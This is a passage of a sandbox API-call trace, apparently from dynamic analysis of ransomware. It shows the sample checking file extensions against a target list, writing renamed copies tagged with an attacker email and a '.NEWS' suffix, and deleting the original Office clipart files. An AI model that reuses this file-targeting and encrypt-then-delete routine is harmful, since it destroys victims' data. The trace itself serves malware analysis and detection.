(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW (lpString=".doc") returned 4 [0074.443] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.443] lstrlenW (lpString=".docx") returned 5 [0074.443] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.443] lstrlenW (lpString=".pdf") returned 4 [0074.443] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.443] lstrlenW (lpString=".xls") returned 4 [0074.443] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.443] lstrlenW (lpString=".xlsx") returned 5 [0074.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.443] lstrlenW (lpString=".ppt") returned 4 [0074.443] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW (lpString=".zip") returned 4 [0074.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.443] lstrlenW (lpString=".rar") returned 4 [0074.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.443] lstrlenW (lpString=".bz2") returned 4 [0074.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.443] lstrlenW (lpString=".7z") returned 3 [0074.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW (lpString=".dbf") returned 4 [0074.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW (lpString=".1cd") returned 4 [0074.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.443] lstrlenW (lpString=".jpg") returned 4 [0074.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString=".doc") returned 4 [0074.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.444] lstrlenW (lpString=".docx") returned 5 [0074.444] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.444] lstrlenW (lpString=".pdf") returned 4 [0074.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString=".xls") returned 4 [0074.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString=".xlsx") returned 5 [0074.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.444] lstrlenW (lpString=".ppt") returned 4 [0074.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString=".zip") returned 4 [0074.444] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString=".rar") returned 4 [0074.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.444] lstrlenW (lpString=".bz2") returned 4 [0074.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.444] lstrlenW (lpString=".7z") returned 3 [0074.444] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString=".dbf") returned 4 [0074.444] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString=".1cd") returned 4 [0074.444] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0074.444] lstrlenW (lpString=".jpg") returned 4 [0074.444] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.445] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.445] lstrlenW (lpString="AG00163_.GIF") returned 12 [0074.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.445] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6984) returned 1 [0074.445] CloseHandle (hObject=0x354) returned 1 [0074.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0074.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.445] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.446] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.446] GetLastError () returned 0x0 [0074.446] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0074.447] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0074.448] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.448] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.449] SetEndOfFile (hFile=0x344) returned 1 [0074.449] CloseHandle (hObject=0x344) returned 1 [0074.450] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.450] SetEndOfFile (hFile=0x354) returned 1 [0074.451] CloseHandle (hObject=0x354) returned 1 [0074.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.451] lstrlenW (lpString=".doc") returned 4 [0074.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.451] lstrlenW (lpString=".docx") returned 5 [0074.451] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.451] lstrlenW (lpString=".pdf") returned 4 [0074.451] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.451] lstrlenW (lpString=".xls") returned 4 [0074.451] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.451] lstrlenW (lpString=".xlsx") returned 5 [0074.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.451] lstrlenW (lpString=".ppt") returned 4 [0074.451] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".zip") returned 4 [0074.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString=".rar") returned 4 [0074.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString=".bz2") returned 4 [0074.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.452] lstrlenW (lpString=".7z") returned 3 [0074.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".dbf") returned 4 [0074.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".1cd") returned 4 [0074.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".jpg") returned 4 [0074.452] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".doc") returned 4 [0074.452] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.452] lstrlenW (lpString=".docx") returned 5 [0074.452] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.452] lstrlenW (lpString=".pdf") returned 4 [0074.452] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString=".xls") returned 4 [0074.452] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString=".xlsx") returned 5 [0074.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.452] lstrlenW (lpString=".ppt") returned 4 [0074.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.452] lstrlenW (lpString=".zip") returned 4 [0074.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.452] lstrlenW (lpString=".rar") returned 4 [0074.453] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.453] lstrlenW (lpString=".bz2") returned 4 [0074.453] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.453] lstrlenW (lpString=".7z") returned 3 [0074.453] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.453] lstrlenW (lpString=".dbf") returned 4 [0074.453] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.453] lstrlenW (lpString=".1cd") returned 4 [0074.453] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0074.453] lstrlenW (lpString=".jpg") returned 4 [0074.453] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.453] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.453] lstrlenW (lpString="AG00164_.GIF") returned 12 [0074.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.453] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=13254) returned 1 [0074.453] CloseHandle (hObject=0x354) returned 1 [0074.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0074.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0074.454] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.454] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0074.454] GetLastError () returned 0x0 [0074.454] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x33c6, lpOverlapped=0x0) returned 1 [0074.456] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x33d0, lpOverlapped=0x0) returned 1 [0074.457] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.457] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.457] SetEndOfFile (hFile=0x344) returned 1 [0074.457] CloseHandle (hObject=0x344) returned 1 [0074.459] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.459] SetEndOfFile (hFile=0x354) returned 1 [0074.460] CloseHandle (hObject=0x354) returned 1 [0074.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0074.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.508] lstrlenW (lpString=".doc") returned 4 [0074.508] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.508] lstrlenW (lpString=".docx") returned 5 [0074.508] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.508] lstrlenW (lpString=".pdf") returned 4 [0074.508] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.508] lstrlenW (lpString=".xls") returned 4 [0074.508] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.508] lstrlenW (lpString=".xlsx") returned 5 [0074.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.508] lstrlenW (lpString=".ppt") returned 4 [0074.508] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.508] lstrlenW (lpString=".zip") returned 4 [0074.508] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.508] lstrlenW (lpString=".rar") returned 4 [0074.508] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.508] lstrlenW (lpString=".bz2") returned 4 [0074.508] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.508] lstrlenW (lpString=".7z") returned 3 [0074.508] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.508] lstrlenW (lpString=".dbf") returned 4 [0074.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.508] lstrlenW (lpString=".1cd") returned 4 [0074.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".jpg") returned 4 [0074.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".doc") returned 4 [0074.509] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.509] lstrlenW (lpString=".docx") returned 5 [0074.509] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.509] lstrlenW (lpString=".pdf") returned 4 [0074.509] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString=".xls") returned 4 [0074.509] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString=".xlsx") returned 5 [0074.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.509] lstrlenW (lpString=".ppt") returned 4 [0074.509] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".zip") returned 4 [0074.509] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString=".rar") returned 4 [0074.509] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.509] lstrlenW (lpString=".bz2") returned 4 [0074.509] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.509] lstrlenW (lpString=".7z") returned 3 [0074.509] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".dbf") returned 4 [0074.509] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".1cd") returned 4 [0074.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0074.509] lstrlenW (lpString=".jpg") returned 4 [0074.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.510] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.510] lstrlenW (lpString="AG00165_.GIF") returned 12 [0074.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.864] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8582) returned 1 [0074.864] CloseHandle (hObject=0x380) returned 1 [0074.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0074.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.874] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.874] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0074.887] GetLastError () returned 0x0 [0074.887] ReadFile (in: hFile=0x380, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2186, lpOverlapped=0x0) returned 1 [0074.889] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2190, lpOverlapped=0x0) returned 1 [0074.890] ReadFile (in: hFile=0x380, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.890] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.890] SetEndOfFile (hFile=0x2c4) returned 1 [0074.895] CloseHandle (hObject=0x2c4) returned 1 [0074.896] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.897] SetEndOfFile (hFile=0x380) returned 1 [0074.898] CloseHandle (hObject=0x380) returned 1 [0074.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0074.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.899] lstrlenW (lpString=".doc") returned 4 [0074.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.899] lstrlenW (lpString=".docx") returned 5 [0074.899] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.899] lstrlenW (lpString=".pdf") returned 4 [0074.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.899] lstrlenW 